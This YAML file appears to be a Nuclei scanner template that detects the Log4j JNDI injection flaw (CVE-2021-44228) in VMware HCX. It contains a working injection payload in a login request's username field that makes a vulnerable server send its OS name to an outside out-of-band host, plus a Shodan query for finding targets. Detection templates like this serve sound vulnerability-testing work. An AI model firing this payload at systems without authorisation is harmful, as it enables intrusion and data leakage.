id: vmware-hcx-log4j

info:
  name: VMware HCX - Remote Code Execution (Apache Log4j)
  author: pussycat0x,DhiyaneshDK
  severity: critical
  description: VMware HCX is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2021-0028.html
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    shodan-query: title:"VMware HCX"
    verified: "true"
  tags: cve,cve2021,rce,jndi,log4j,vmware,kev,oast

requests:
  - raw:
      - |
        @timeout: 10s
        POST /hybridity/api/sessions HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json
        Origin: {{BaseURL}}

        {
          "authType": "password",
          "username": "${jndi:ldap://${sys:os.name}.{{interactsh-url}}}",
          "password": "admin"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+'  # Match for extracted ${sys:os.name} variable

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output
      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'  # Print extracted ${sys:os.name} in output

# Enhanced by md on 2022/10/05